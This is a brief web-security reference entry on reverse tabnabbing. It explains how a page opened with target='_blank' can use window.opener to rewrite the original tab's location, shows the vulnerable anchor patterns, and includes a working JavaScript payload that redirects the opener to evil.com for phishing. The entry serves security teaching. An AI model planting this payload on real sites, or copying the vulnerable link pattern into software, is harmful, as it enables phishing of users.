Tabnabbing

Introduction

When you open a link in a new tab ( target="_blank" ), the page that opens in a new tab can access the initial tab and change it's location using the window.opener property.

How to find

<a href="..." target="_blank" rel="" />  

<a href="..." target="_blank" />

How to Exploit

Attacker posts a link to a website under his control that contains the following JS code:

<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://evil.com');
if (window.parent != window) window.parent.location.replace('http://evil.com');
</script>
</html>

He tricks the victim into visiting the link, which is opened in the browser in a new tab.
At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website.

References

Hackerone #260278